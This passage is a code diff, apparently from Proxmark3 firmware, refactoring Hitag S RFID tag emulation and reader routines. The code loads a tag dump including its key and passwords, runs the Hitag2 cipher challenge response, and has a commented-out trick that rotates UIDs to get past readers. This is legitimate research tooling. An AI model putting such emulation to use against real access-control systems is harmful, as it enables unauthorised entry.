- - for (int i = 0; i < 32; i++) { - ans += resp[5 + i] << (31 - i); - } - // global var? - temp_uid = ans; + concatbits((uint8_t *)&reader_selected_uid, 0, rx, 5, 32, false); + reader_selected_uid = BSWAP_32(reader_selected_uid); - if (ans == tag.uid) { + if (reader_selected_uid == uid) { return 1; } return 0; } -static void hitagS_set_frame_modulation(void) { - switch (tag.mode) { - case HT_STANDARD: { +static void hts_set_frame_modulation(uint8_t mode, bool ac_seq) { + switch (mode) { + case HITAGS_UID_REQ_STD: { sof_bits = 1; - m = MC4K; + if (ac_seq) + m = AC2K; + else + m = MC4K; break; } - case HT_ADVANCED: { - sof_bits = 6; - m = MC4K; + case HITAGS_UID_REQ_ADV1: + case HITAGS_UID_REQ_ADV2: { + if (ac_seq) { + sof_bits = 3; + m = AC2K; + } else { + sof_bits = 6; + m = MC4K; + } break; } - case HT_FAST_ADVANCED: { - sof_bits = 6; - m = MC8K; - break; - } - default: { + case HITAGS_UID_REQ_FADV: { + if (ac_seq) { + sof_bits = 3; + m = AC4K; + } else { + sof_bits = 6; + m = MC8K; + } break; } } @@ -435,90 +151,60 @@ static void hitagS_set_frame_modulation(void) { /* * handles all commands from a reader */ -static void hitagS_handle_reader_command(uint8_t *rx, const size_t rxlen, - uint8_t *tx, size_t *txlen) { - uint8_t rx_air[HITAG_FRAME_LEN]; +static void hts_handle_reader_command(uint8_t *rx, const size_t rxlen, + uint8_t *tx, size_t *txlen) { uint64_t state; unsigned char crc; - // Copy the (original) received frame how it is send over the air - memcpy(rx_air, rx, nbytes(rxlen)); - // Reset the transmission frame length *txlen = 0; + // Reset the frame modulation + hts_set_frame_modulation(protocol_mode, false); // Try to find out which command was send by selecting on length (in bits) switch (rxlen) { case 5: { //UID request with a selected response protocol mode - if (g_dbglevel >= DBG_EXTENDED) - Dbprintf("UID request: length: %i first byte: %02x", rxlen, rx[0]); - + DBG Dbprintf("UID request: length: %i first byte: %02x", rxlen, rx[0]); tag.pstate = HT_READY; tag.tstate = HT_NO_OP; - if ((rx[0] & 0xf0) == HITAGS_UID_REQ_STD) { - if (g_dbglevel >= DBG_EXTENDED) - Dbprintf("HT_STANDARD"); - tag.mode = HT_STANDARD; - sof_bits = 1; - m = AC2K; - } - if ((rx[0] & 0xf0) == HITAGS_UID_REQ_ADV) { - tag.mode = HT_ADVANCED; - if (g_dbglevel >= DBG_EXTENDED) - Dbprintf("HT_ADVANCED"); - - sof_bits = 3; - m = AC2K; + if (rx[0] == HITAGS_UID_REQ_STD) { + DBG Dbprintf("HT_STANDARD"); + } else if (rx[0] == HITAGS_UID_REQ_ADV1 || rx[0] == HITAGS_UID_REQ_ADV2) { + DBG Dbprintf("HT_ADVANCED"); + } else if (rx[0] == HITAGS_UID_REQ_FADV) { + DBG Dbprintf("HT_FAST_ADVANCED"); } - if ((rx[0] & 0xf0) == HITAGS_UID_REQ_FADV) { - if (g_dbglevel >= DBG_EXTENDED) - Dbprintf("HT_FAST_ADVANCED"); + protocol_mode = rx[0]; + hts_set_frame_modulation(protocol_mode, true); - tag.mode = HT_FAST_ADVANCED; - sof_bits = 3; - m = AC4K; - } //send uid as a response *txlen = 32; - for (int i = 0; i < 4; i++) { - tx[i] = (tag.uid >> (24 - (i * 8))) & 0xFF; - } + memcpy(tx, tag.data.pages[HITAGS_UID_PADR], HITAGS_PAGE_SIZE); break; } + // case 14 to 44 AC SEQUENCE case 45: { //select command from reader received - if (g_dbglevel >= DBG_EXTENDED) { - DbpString("SELECT"); - } + DBG DbpString("SELECT"); - if ((rx[0] & 0xf8) == HITAGS_SELECT && check_select(rx, tag.uid) == 1) { - if (g_dbglevel >= DBG_EXTENDED) { - DbpString("SELECT match"); - } + if ((rx[0] & 0xf8) == HITAGS_SELECT && check_select(rx, BSWAP_32(tag.data.s.uid_le)) == 1) { + DBG DbpString("SELECT match"); //if the right tag was selected *txlen = 32; - hitagS_set_frame_modulation(); //send configuration - for (int i = 0; i < 4; i++) { - tx[i] = tag.pages[1][i]; - } + memcpy(tx, tag.data.pages[HITAGS_CONFIG_PADR], HITAGS_PAGE_SIZE - 1); tx[3] = 0xff; - if (tag.mode != HT_STANDARD) { - - *txlen = 40; - crc = CRC_PRESET; - - for (int i = 0; i < 4; i++) { - calc_crc(&crc, tx[i], 8); - } - + if (protocol_mode != HITAGS_UID_REQ_STD) { + //add crc8 + crc = CRC8Hitag1Bits(tx, 32); + *txlen += 8; tx[4] = crc; } } @@ -526,85 +212,69 @@ static void hitagS_handle_reader_command(uint8_t *rx, const size_t rxlen, } case 64: { //challenge message received - Dbprintf("Challenge for UID: %X", temp_uid); - temp2++; - *txlen = 32; - state = ht2_hitag2_init(REV64(tag.key), - REV32((tag.pages[0][3] << 24) + (tag.pages[0][2] << 16) + (tag.pages[0][1] << 8) + tag.pages[0][0]), - REV32((rx[3] << 24) + (rx[2] << 16) + (rx[1] << 8) + rx[0]) - ); - Dbprintf(",{0x%02X, 0x%02X, 0x%02X, 0x%02X, 0x%02X, 0x%02X, 0x%02X, 0x%02X}", - rx[0], rx[1], rx[2], rx[3], - rx[4], rx[5], rx[6], rx[7] - ); + DBG Dbprintf("Challenge for UID: %X", reader_selected_uid); - hitagS_set_frame_modulation(); + rotate_uid++; + *txlen = 32; + // init crypt engine + uint32_t le_rx = MemLeToUint4byte(rx); + state = ht2_hitag2_init(REV64(tag.data.s.key), REV32(tag.data.s.uid_le), REV32(le_rx)); + DBG Dbhexdump(8, tx, false); for (int i = 0; i < 4; i++) { ht2_hitag2_byte(&state); } - //send con2, pwdh0, pwdl0, pwdl1 encrypted as a response - tx[0] = ht2_hitag2_byte(&state) ^ tag.pages[1][2]; - tx[1] = ht2_hitag2_byte(&state) ^ tag.pwdh0; - tx[2] = ht2_hitag2_byte(&state) ^ tag.pwdl0; - tx[3] = ht2_hitag2_byte(&state) ^ tag.pwdl1; + // store plaintext first + tx[0] = tag.data.pages[HITAGS_CONFIG_PADR][2]; + tx[1] = tag.data.s.config.pwdh0; + tx[2] = tag.data.s.pwdl0; + tx[3] = tag.data.s.pwdl1; - if (tag.mode != HT_STANDARD) { - //add crc8 - *txlen = 40; - crc = CRC_PRESET; - calc_crc(&crc, tag.pages[1][2], 8); - calc_crc(&crc, tag.pwdh0, 8); - calc_crc(&crc, tag.pwdl0, 8); - calc_crc(&crc, tag.pwdl1, 8); - tx[4] = (crc ^ ht2_hitag2_byte(&state)); + if (protocol_mode != HITAGS_UID_REQ_STD) { + // add crc8 + *txlen += 8; + crc = CRC8Hitag1Bits(tx, 32); + tx[4] = crc; } + + // then xor with keystream + tx[0] ^= ht2_hitag2_byte(&state); + tx[1] ^= ht2_hitag2_byte(&state); + tx[2] ^= ht2_hitag2_byte(&state); + tx[3] ^= ht2_hitag2_byte(&state); + if (protocol_mode != HITAGS_UID_REQ_STD) { + tx[4] ^= ht2_hitag2_byte(&state); + } + /* * some readers do not allow to authenticate multiple times in a row with the same tag. * use this to change the uid between authentications. - - if (temp2 % 2 == 0) { - tag.uid = 0x11223344; - tag.pages[0][0] = 0x11; - tag.pages[0][1] = 0x22; - tag.pages[0][2] = 0x33; - tag.pages[0][3] = 0x44; + if (rotate_uid % 2 == 0) { + tag.data.s.uid_le = 0x44332211; } else { - tag.uid = 0x55667788; - tag.pages[0][0] = 0x55; - tag.pages[0][1] = 0x66; - tag.pages[0][2] = 0x77; - tag.pages[0][3] = 0x88; + tag.data.s.uid_le = 0x88776655; } */ break; } case 40: { - if (g_dbglevel >= DBG_EXTENDED) - Dbprintf("WRITE DATA"); + DBG Dbprintf("WRITE DATA"); + //data received to be written if (tag.tstate == HT_WRITING_PAGE_DATA) { tag.tstate = HT_NO_OP; - tag.pages[page_to_be_written][0] = rx[0]; - tag.pages[page_to_be_written][1] = rx[1]; - tag.pages[page_to_be_written][2] = rx[2]; - tag.pages[page_to_be_written][3] = rx[3]; + memcpy(tag.data.pages[page_to_be_written], rx, HITAGS_PAGE_SIZE); //send ack *txlen = 2; tx[0] = 0x40; page_to_be_written = 0; - hitagS_set_frame_modulation(); } else if (tag.tstate == HT_WRITING_BLOCK_DATA) { - tag.pages[page_to_be_written][0] = rx[0]; - tag.pages[page_to_be_written][1] = rx[1]; - tag.pages[page_to_be_written][2] = rx[2]; - tag.pages[page_to_be_written][3] = rx[3]; + memcpy(tag.data.pages[page_to_be_written], rx, HITAGS_PAGE_SIZE); //send ack *txlen = 2; tx[0] = 0x40; - hitagS_set_frame_modulation(); page_to_be_written++; block_data_left--; @@ -617,73 +287,52 @@ static void hitagS_handle_reader_command(uint8_t *rx, const size_t rxlen, } case 20: { //write page, write block, read page or read block command received + uint8_t page = ((rx[0] & 0x0f) << 4) + ((rx[1] & 0xf0) >> 4); + // TODO: handle over max_page readonly to 00000000. 82xx mode + if (page > tag.max_page) { + *txlen = 0; + break; + } + if ((rx[0] & 0xf0) == HITAGS_READ_PAGE) { //read page //send page data - uint8_t page = ((rx[0] & 0x0f) * 16) + ((rx[1] & 0xf0) / 16); *txlen = 32; - tx[0] = tag.pages[page][0]; - tx[1] = tag.pages[page][1]; - tx[2] = tag.pages[page][2]; - tx[3] = tag.pages[page][3]; + memcpy(tx, tag.data.pages[page], HITAGS_PAGE_SIZE); - if (tag.LKP && page == 1) { + if (tag.data.s.config.auth && page == HITAGS_CONFIG_PADR) { tx[3] = 0xFF; } - hitagS_set_frame_modulation(); - - if (tag.mode != HT_STANDARD) { + if (protocol_mode != HITAGS_UID_REQ_STD) { //add crc8 - *txlen = 40; - crc = CRC_PRESET; - for (int i = 0; i < 4; i++) { - calc_crc(&crc, tx[i], 8); - } + crc = CRC8Hitag1Bits(tx, 32); + *txlen += 8; tx[4] = crc; } - if (tag.LKP && (page == 2 || page == 3)) { + if (tag.data.s.config.auth && tag.data.s.config.LKP && (page == 2 || page == 3)) { //if reader asks for key or password and the LKP-mark is set do not respond - sof_bits = 0; *txlen = 0; } } else if ((rx[0] & 0xf0) == HITAGS_READ_BLOCK) { //read block - - uint8_t page = ((rx[0] & 0x0f) * 16) + ((rx[1] & 0xf0) / 16); - *txlen = 32 * 4; + // TODO: handle auth LKP + *txlen = (HITAGS_BLOCK_SIZE - (page % 4) * HITAGS_PAGE_SIZE) * 8; //send page,...,page+3 data - for (int i = 0; i < 4; i++) { - tx[0 + i * 4] = tag.pages[page + 0 + i * 4][0]; - tx[1 + i * 4] = tag.pages[page + 1 + i * 4][1]; - tx[2 + i * 4] = tag.pages[page + 2 + i * 4][2]; - tx[3 + i * 4] = tag.pages[page + 3 + i * 4][3]; - } + memcpy(tx, tag.data.pages[page], *txlen / 8); - hitagS_set_frame_modulation(); - - if (tag.mode != HT_STANDARD) { + if (protocol_mode != HITAGS_UID_REQ_STD) { //add crc8 - *txlen = 32 * 4 + 8; - crc = CRC_PRESET; - for (int i = 0; i < 16; i++) { - calc_crc(&crc, tx[i], 8); - } + crc = CRC8Hitag1Bits(tx, *txlen); + *txlen += 8; tx[16] = crc; } - if ((page) % 4 != 0 || (tag.LKP && (page) == 0)) { - sof_bits = 0; - *txlen = 0; - } - } else if ((rx[0] & 0xf0) == HITAGS_WRITE_PAGE) { //write page - - uint8_t page = ((rx[0] & 0x0f) * 16) + ((rx[1] & 0xf0) / 16); - - if ((tag.LCON && page == 1) - || (tag.LKP && (page == 2 || page == 3))) { + // TODO: handle con2 LCK* + if ((tag.data.s.config.LCON && page == 1) + || (tag.data.s.config.LKP && (page == 2 || page == 3))) { //deny *txlen = 0; } else { @@ -695,11 +344,9 @@ static void hitagS_handle_reader_command(uint8_t *rx, const size_t rxlen, } } else if ((rx[0] & 0xf0) == HITAGS_WRITE_BLOCK) { //write block - - uint8_t page = ((rx[0] & 0x0f) * 6) + ((rx[1] & 0xf0) / 16); - hitagS_set_frame_modulation(); - - if (page % 4 != 0 || page == 0) { + // TODO: handle LCON con2 LCK* + if ((tag.data.s.config.LCON && page == 1) + || (tag.data.s.config.LKP && (page == 2 || page == 3))) { //deny *txlen = 0; } else { @@ -707,16 +354,14 @@ static void hitagS_handle_reader_command(uint8_t *rx, const size_t rxlen, *txlen = 2; tx[0] = 0x40; page_to_be_written = page; - block_data_left = 4; + block_data_left = 4 - (page % 4); tag.tstate = HT_WRITING_BLOCK_DATA; } } break; } default: { - if (g_dbglevel >= DBG_EXTENDED) { - Dbprintf("unknown rxlen: (%i) %02X %02X %02X %02X ...", rxlen, rx[0], rx[1], rx[2], rx[3]); - } + DBG Dbprintf("unknown rxlen: (%i) %02X %02X %02X %02X ...", rxlen, rx[0], rx[1], rx[2], rx[3]); break; } } @@ -725,231 +370,63 @@ static void hitagS_handle_reader_command(uint8_t *rx, const size_t rxlen, /* * Emulates a Hitag S Tag with the given data from the .hts file */ -void SimulateHitagSTag(bool tag_mem_supplied, const uint8_t *data, bool ledcontrol) { - - StopTicks(); - - int response = 0, overflow = 0; - uint8_t rx[HITAG_FRAME_LEN]; +void hts_simulate(bool tag_mem_supplied, int8_t threshold, const uint8_t *data, bool ledcontrol) { + int overflow = 0; + uint8_t rx[HITAG_FRAME_LEN] = {0}; size_t rxlen = 0; - uint8_t txbuf[HITAG_FRAME_LEN]; - uint8_t *tx = txbuf; + uint8_t tx[HITAG_FRAME_LEN]; size_t txlen = 0; - // Reset the received frame, frame count and timing info - memset(rx, 0x00, sizeof(rx)); - // free eventually allocated BigBuf memory BigBuf_free(); BigBuf_Clear_ext(false); - // Clean up trace and prepare it for storing frames - set_tracing(true); - clear_trace(); - DbpString("Starting Hitag S simulation"); - if (ledcontrol) LED_D_ON(); tag.pstate = HT_READY; tag.tstate = HT_NO_OP; // read tag data into memory if (tag_mem_supplied) { - - for (int i = 0; i < 16; i++) { - for (int j = 0; j < 4; j++) { - tag.pages[i][j] = 0x0; - } - } - DbpString("Loading hitag S memory..."); - memcpy((uint8_t *)tag.pages, data, 4 * 64); + memcpy(tag.data.pages, data, HITAGS_MAX_BYTE_SIZE); } else { // use the last read tag } - tag.uid = ((tag.pages[0][3]) << 24) | ((tag.pages[0][2]) << 16) | ((tag.pages[0][1]) << 8) | tag.pages[0][0]; - tag.key = (((uint64_t)tag.pages[3][3]) << 40) | - (((uint64_t)tag.pages[3][2]) << 32) | - (((uint64_t)tag.pages[3][1]) << 24) | - (((uint64_t)tag.pages[3][0]) << 16) | - (((uint64_t)tag.pages[2][3]) << 8) | - (((uint64_t)tag.pages[2][2])); + // max_page + update_tag_max_page(); - tag.pwdl0 = tag.pages[2][0]; - tag.pwdl1 = tag.pages[2][1]; - tag.pwdh0 = tag.pages[1][3]; - //con0 - tag.max_page = 64; - - if ((tag.pages[1][0] & 0x2) == 0 && (tag.pages[1][0] & 0x1) == 1) { - tag.max_page = 8; - } - - if ((tag.pages[1][0] & 0x2) == 0 && (tag.pages[1][0] & 0x1) == 0) { - tag.max_page = 0; - } - - if (g_dbglevel >= DBG_EXTENDED) { - - for (int i = 0; i < tag.max_page; i++) { - Dbprintf("Page[%2d]: %02X %02X %02X %02X", i, - (tag.pages[i][3]) & 0xFF, - (tag.pages[i][2]) & 0xFF, - (tag.pages[i][1]) & 0xFF, - tag.pages[i][0] & 0xFF + for (int i = 0; i < tag.max_page; i++) { + DBG Dbprintf("Page[%2d]: %02X %02X %02X %02X", + i, + tag.data.pages[i][3], + tag.data.pages[i][2], + tag.data.pages[i][1], + tag.data.pages[i][0] ); - } } - //con1 - tag.auth = 0; - if ((tag.pages[1][1] & 0x80) == 0x80) { - tag.auth = 1; - } - - tag.LCON = 0; - if ((tag.pages[1][1] & 0x2) == 0x02) { - tag.LCON = 1; - } - - tag.LKP = 0; - if ((tag.pages[1][1] & 0x1) == 0x01) { - tag.LKP = 1; - } - - //con2 - //0=read write 1=read only - tag.LCK7 = 0; - if ((tag.pages[1][2] & 0x80) == 0x80) { - tag.LCK7 = 1; - } - - tag.LCK6 = 0; - if ((tag.pages[1][2] & 0x40) == 0x040) { - tag.LCK6 = 1; - } - - tag.LCK5 = 0; - if ((tag.pages[1][2] & 0x20) == 0x20) { - tag.LCK5 = 1; - } - - tag.LCK4 = 0; - if ((tag.pages[1][2] & 0x10) == 0x10) { - tag.LCK4 = 1; - } - - tag.LCK3 = 0; - if ((tag.pages[1][2] & 0x8) == 0x08) { - tag.LCK3 = 1; - } - - tag.LCK2 = 0; - if ((tag.pages[1][2] & 0x4) == 0x04) { - tag.LCK2 = 1; - } - - tag.LCK1 = 0; - if ((tag.pages[1][2] & 0x2) == 0x02) { - tag.LCK1 = 1; - } - - tag.LCK0 = 0; - if ((tag.pages[1][2] & 0x1) == 0x01) { - tag.LCK0 = 1; - } - - - // Set up simulator mode, frequency divisor which will drive the FPGA - // and analog mux selection. - FpgaDownloadAndGo(FPGA_BITSTREAM_LF); + hitag_setup_fpga(0, threshold, ledcontrol); FpgaWriteConfWord(FPGA_MAJOR_MODE_LF_EDGE_DETECT); - FpgaSendCommand(FPGA_CMD_SET_DIVISOR, LF_DIVISOR_125); //125kHz - SetAdcMuxFor(GPIO_MUXSEL_LOPKD); - - // Configure output pin that is connected to the FPGA (for modulating) - AT91C_BASE_PIOA->PIO_OER = GPIO_SSC_DOUT; - AT91C_BASE_PIOA->PIO_PER = GPIO_SSC_DOUT; - - // Disable modulation at default, which means release resistance - LOW(GPIO_SSC_DOUT); - - // Enable Peripheral Clock for - // Timer Counter 0, used to measure exact timing before answering - // Timer Counter 1, used to capture edges of the tag frames - AT91C_BASE_PMC->PMC_PCER |= (1 << AT91C_ID_TC0) | (1 << AT91C_ID_TC1); - - AT91C_BASE_PIOA->PIO_BSR = GPIO_SSC_FRAME; - - // Disable timer during configuration - AT91C_BASE_TC0->TC_CCR = AT91C_TC_CLKDIS; - AT91C_BASE_TC1->TC_CCR = AT91C_TC_CLKDIS; - - // TC0: Capture mode, default timer source = MCK/32 (TIMER_CLOCK3), no triggers - AT91C_BASE_TC0->TC_CMR = AT91C_TC_CLKS_TIMER_DIV3_CLOCK; - - // TC1: Capture mode, default timer source = MCK/32 (TIMER_CLOCK3), TIOA is external trigger, - // external trigger rising edge, load RA on rising edge of TIOA. - AT91C_BASE_TC1->TC_CMR = AT91C_TC_CLKS_TIMER_DIV3_CLOCK - | AT91C_TC_ETRGEDG_RISING | AT91C_TC_ABETRG | AT91C_TC_LDRA_RISING; - - // Enable and reset counter - AT91C_BASE_TC0->TC_CCR = AT91C_TC_CLKEN | AT91C_TC_SWTRG; - AT91C_BASE_TC1->TC_CCR = AT91C_TC_CLKEN | AT91C_TC_SWTRG; - - // synchronized startup procedure - while (AT91C_BASE_TC0->TC_CV > 0); // wait until TC0 returned to zero while ((BUTTON_PRESS() == false) && (data_available() == false)) { + uint32_t start_time = 0; WDT_HIT(); - // Receive frame, watch for at most T0*EOF periods - while (AT91C_BASE_TC1->TC_CV < T0 * HITAG_T_EOF) { - - // Check if rising edge in modulation is detected - if (AT91C_BASE_TC1->TC_SR & AT91C_TC_LDRAS) { - - // Retrieve the new timing values - int ra = (AT91C_BASE_TC1->TC_RA / T0) + overflow; - overflow = 0; - - // Reset timer every frame, we have to capture the last edge for timing - AT91C_BASE_TC0->TC_CCR = AT91C_TC_CLKEN | AT91C_TC_SWTRG; - - if (ledcontrol) LED_B_ON(); - - // Capture reader frame - if (ra >= HITAG_T_STOP) { - if (rxlen != 0) { - //DbpString("weird0?"); - } - // Capture the T0 periods that have passed since last communication or field drop (reset) - response = (ra - HITAG_T_LOW); - } else if (ra >= HITAG_T_1_MIN) { - // '1' bit - rx[rxlen / 8] |= 1 << (7 - (rxlen % 8)); - rxlen++; - } else if (ra >= HITAG_T_0_MIN) { - // '0' bit - rx[rxlen / 8] |= 0 << (7 - (rxlen % 8)); - rxlen++; - } else { - // Ignore weird value, is to small to mean anything - } - } - } + // Receive commands from the reader + hitag_tag_receive_frame(rx, sizeof(rx), &rxlen, &start_time, ledcontrol, &overflow); // Check if frame was captured if (rxlen > 0) { - LogTraceBits(rx, rxlen, response, response, true); + LogTraceBits(rx, rxlen, start_time, TIMESTAMP, true); // Disable timer 1 with external trigger to avoid triggers during our own modulation AT91C_BASE_TC1->TC_CCR = AT91C_TC_CLKDIS; // Process the incoming frame (rx) and prepare the outgoing frame (tx) - hitagS_handle_reader_command(rx, rxlen, tx, &txlen); + hts_handle_reader_command(rx, rxlen, tx, &txlen); // Wait for HITAG_T_WAIT_RESP carrier periods after the last reader bit, // not that since the clock counts since the rising edge, but T_Wait1 is @@ -961,8 +438,9 @@ void SimulateHitagSTag(bool tag_mem_supplied, const uint8_t *data, bool ledcontr // Send and store the tag answer (if there is any) if (txlen > 0) { // Transmit the tag frame - hitag_send_frame(tx, txlen, ledcontrol); - LogTraceBits(tx, txlen, 0, 0, false); + start_time = TIMESTAMP; + hitag_tag_send_frame(tx, txlen, sof_bits, m, ledcontrol); + LogTraceBits(tx, txlen, start_time, TIMESTAMP, false); } // Enable and reset external trigger in timer for capturing future frames @@ -970,7 +448,6 @@ void SimulateHitagSTag(bool tag_mem_supplied, const uint8_t *data, bool ledcontr // Reset the received frame and response timing info memset(rx, 0x00, sizeof(rx)); - response = 0; if (ledcontrol) LED_B_OFF(); } @@ -983,127 +460,23 @@ void SimulateHitagSTag(bool tag_mem_supplied, const uint8_t *data, bool ledcontr } - set_tracing(false); - lf_finalize(ledcontrol); + hitag_cleanup(ledcontrol); // release allocated memory from BigBuff. BigBuf_free(); - DbpString("Sim Stopped"); + DbpString("Sim stopped"); } -static void hitagS_receive_frame(uint8_t *rx, size_t sizeofrx, size_t *rxlen, uint32_t *resptime, bool ledcontrol) { - - // Reset values for receiving frames - memset(rx, 0x00, sizeofrx); - *rxlen = 0; - - int lastbit = 1; - bool bSkip = true; - *resptime = 0; - uint32_t errorCount = 0; - bool bStarted = false; - - uint32_t ra_i = 0, h2 = 0, h3 = 0, h4 = 0; - uint8_t edges[160] = {0}; - - // Dbprintf("TC0_CV:%i TC1_CV:%i TC1_RA:%i", AT91C_BASE_TC0->TC_CV, AT91C_BASE_TC1->TC_CV ,AT91C_BASE_TC1->TC_RA); - - // Receive frame, watch for at most T0*HITAG_T_PROG_MAX periods - while (AT91C_BASE_TC0->TC_CV < (T0 * HITAG_T_PROG_MAX)) { - - // Check if falling edge in tag modulation is detected - if (AT91C_BASE_TC1->TC_SR & AT91C_TC_LDRAS) { - - // Retrieve the new timing values - uint32_t ra = AT91C_BASE_TC1->TC_RA / T0; - edges[ra_i++] = ra; - // Reset timer every frame, we have to capture the last edge for timing - AT91C_BASE_TC0->TC_CCR = AT91C_TC_SWTRG; - - if (ledcontrol) LED_B_ON(); - - // Capture tag frame (manchester decoding using only falling edges) - - if (bStarted == false) { - - // Capture the T0 periods that have passed since last communication or field drop (reset) - *resptime = ra - HITAG_T_TAG_HALF_PERIOD; - - if (ra >= HITAG_T_WAIT_RESP) { - bStarted = true; - - // We always receive a 'one' first, which has the falling edge after a half period |-_| - rx[0] = 0x80; - (*rxlen)++; - } else { - errorCount++; - } - - } else if (ra >= HITAG_T_TAG_CAPTURE_FOUR_HALF) { - - // Manchester coding example |-_|_-|-_| (101) - rx[(*rxlen) / 8] |= 0 << (7 - ((*rxlen) % 8)); - (*rxlen)++; - - rx[(*rxlen) / 8] |= 1 << (7 - ((*rxlen) % 8)); - (*rxlen)++; - h4++; - } else if (ra >= HITAG_T_TAG_CAPTURE_THREE_HALF) { - - // Manchester coding example |_-|...|_-|-_| (0...01) - rx[(*rxlen) / 8] |= 0 << (7 - ((*rxlen) % 8)); - (*rxlen)++; - - // We have to skip this half period at start and add the 'one' the second time - if (bSkip == false) { - rx[(*rxlen) / 8] |= 1 << (7 - ((*rxlen) % 8)); - (*rxlen)++; - } - - lastbit = !lastbit; - bSkip = !bSkip; - h3++; - } else if (ra >= HITAG_T_TAG_CAPTURE_TWO_HALF) { - // Manchester coding example |_-|_-| (00) or |-_|-_| (11) - // bit is same as last bit - rx[(*rxlen) / 8] |= lastbit << (7 - ((*rxlen) % 8)); - (*rxlen)++; - h2++; - } else { - // Ignore weird value, is to small to mean anything - errorCount++; - } - } - - // if we saw over 100 weird values break it probably isn't hitag... - if (errorCount > 100 || (*rxlen) / 8 >= sizeofrx) { - break; - } - - // We can break this loop if we received the last bit from a frame - // max periods between 2 falling edge - // RTF AC64 |--__|--__| (00) 64 * T0 - // RTF MC32 |_-|-_|_-| (010) 48 * T0 - if (AT91C_BASE_TC1->TC_CV > (T0 * 80)) { - if ((*rxlen)) { - break; - } - } - } - if (g_dbglevel >= DBG_EXTENDED) { - Dbprintf("RX0 %i:%02X.. err:%i resptime:%i h2:%i h3:%i h4:%i edges:", *rxlen, rx[0], errorCount, *resptime, h2, h3, h4); - Dbhexdump(ra_i, edges, false); - } -} - -static void sendReceiveHitagS(const uint8_t *tx, size_t txlen, uint8_t *rx, size_t sizeofrx, size_t *prxbits, int t_wait, bool ledcontrol, bool ac_seq) { - - LogTraceBits(tx, txlen, HITAG_T_WAIT_SC, HITAG_T_WAIT_SC, true); +static int hts_send_receive(const uint8_t *tx, size_t txlen, uint8_t *rx, size_t sizeofrx, size_t *rxlen, int t_wait, bool ledcontrol, bool ac_seq) { + uint32_t start_time; // Send and store the reader command // Disable timer 1 with external trigger to avoid triggers during our own modulation AT91C_BASE_TC1->TC_CCR = AT91C_TC_CLKDIS; + DBG Dbprintf("tx %d bits:", txlen); + DBG Dbhexdump((txlen + 7) / 8, tx, false); + // Wait for HITAG_T_WAIT_SC carrier periods after the last tag bit before transmitting, // Since the clock counts since the last falling edge, a 'one' means that the // falling edge occurred halfway the period. with respect to this falling edge, @@ -1111,215 +484,104 @@ static void sendReceiveHitagS(const uint8_t *tx, size_t txlen, uint8_t *rx, size // All timer values are in terms of T0 units while (AT91C_BASE_TC0->TC_CV < T0 * t_wait) {}; + start_time = TIMESTAMP; + // Transmit the reader frame - hitag_reader_send_frame(tx, txlen, ledcontrol); + hitag_reader_send_frame(tx, txlen, ledcontrol, false); + + if (enable_page_tearoff && tearoff_hook() == PM3_ETEAROFF) { + return PM3_ETEAROFF; + } + + LogTraceBits(tx, txlen, start_time, TIMESTAMP, true); // Enable and reset external trigger in timer for capturing future frames AT91C_BASE_TC1->TC_CCR = AT91C_TC_CLKEN | AT91C_TC_SWTRG; - uint32_t resptime = 0; - size_t rxlen = 0; - hitagS_receive_frame(rx, sizeofrx, &rxlen, &resptime, ledcontrol); - int k = 0; + hts_set_frame_modulation(protocol_mode, ac_seq); + + hitag_reader_receive_frame(rx, sizeofrx, rxlen, &start_time, ledcontrol, m, sof_bits); + // hts_receive_frame(rx, sizeofrx, rxlen, &start_time, ledcontrol); + + DBG Dbprintf("rx %d bits:", *rxlen); + DBG Dbhexdump((*rxlen + 7) / 8, rx, false); // Check if frame was captured and store it - if (rxlen > 0) { + if (*rxlen > 0) { + DBG { + uint8_t response_bit[sizeofrx * 8]; - uint8_t response_bit[sizeofrx * 8]; + for (size_t i = 0; i < *rxlen; i++) { + response_bit[i] = (rx[i / 8] >> (7 - (i % 8))) & 1; + } - for (size_t i = 0; i < rxlen; i++) { - response_bit[i] = (rx[i / 8] >> (7 - (i % 8))) & 1; - } - - if (g_dbglevel >= DBG_EXTENDED) { - Dbprintf("htS: rxlen...... %zu", rxlen); + Dbprintf("htS: rxlen...... %zu", *rxlen); Dbprintf("htS: sizeofrx... %zu", sizeofrx); DbpString("htS: response_bit:"); - Dbhexdump(rxlen, response_bit, false); + Dbhexdump(*rxlen, response_bit, false); } - memset(rx, 0x00, sizeofrx); - - if (ac_seq) { - - // Tag Response is AC encoded - // We used UID Request Advanced, meaning AC SEQ header is 111. - for (int i = 7; i < rxlen; i += 2) { - - rx[k / 8] |= response_bit[i] << (7 - (k % 8)); - - k++; - - if (k > 8 * sizeofrx) { - break; - } - } - - // TODO: It's very confusing to reinterpreter the MC to AC; we should implement a more straightforward approach. - // add the lost bit zero, when AC64 last bit is zero - if (k % 8 == 7) { - k++; - } - - if (g_dbglevel >= DBG_EXTENDED) { - DbpString("htS: ac sequence compress"); - Dbhexdump(k / 8, rx, false); - } - - } else { - - if (g_dbglevel >= DBG_EXTENDED) { - DbpString("htS: skipping 6 bit header"); - } - - // ignore first 6 bits: SOF (actually 1 or 6 depending on response protocol) - // or rather a header. - for (size_t i = 6; i < rxlen; i++) { - - rx[k / 8] |= response_bit[i] << (7 - (k % 8)); - k++; - - if (k > 8 * sizeofrx) { - break; - } - } - } - LogTraceBits(rx, k, resptime, resptime, false); + LogTraceBits(rx, *rxlen, start_time, TIMESTAMP, false); } - *prxbits = k; + + return PM3_SUCCESS; } -static size_t concatbits(uint8_t *dst, size_t dstskip, const uint8_t *src, size_t srcstart, size_t srclen) { - // erase dstbuf bits that will be overriden - dst[dstskip / 8] &= 0xFF - ((1 << (7 - (dstskip % 8) + 1)) - 1); - for (size_t i = (dstskip / 8) + 1; i <= (dstskip + srclen) / 8; i++) { - dst[i] = 0; - } +static int hts_select_tag(const lf_hitag_data_t *packet, uint8_t *tx, size_t sizeoftx, uint8_t *rx, size_t sizeofrx, int t_wait, bool ledcontrol) { + size_t txlen = 0; + size_t rxlen = 0; - for (size_t i = 0; i < srclen; i++) { - // equiv of dstbufbits[dstbufskip + i] = srcbufbits[srcbufstart + i] - dst[(dstskip + i) / 8] |= ((src[(srcstart + i) / 8] >> (7 - ((srcstart + i) % 8))) & 1) << (7 - ((dstskip + i) % 8)); - } - - return dstskip + srclen; -} - -static int selectHitagS(const lf_hitag_data_t *packet, uint8_t *tx, size_t sizeoftx, uint8_t *rx, size_t sizeofrx, int t_wait, bool ledcontrol) { - - StopTicks(); - - FpgaDownloadAndGo(FPGA_BITSTREAM_LF); - - // Clean up trace and prepare it for storing frames - set_tracing(true); - clear_trace(); - - if (ledcontrol) LED_D_ON(); - - hitagS_init_clock(); - - // 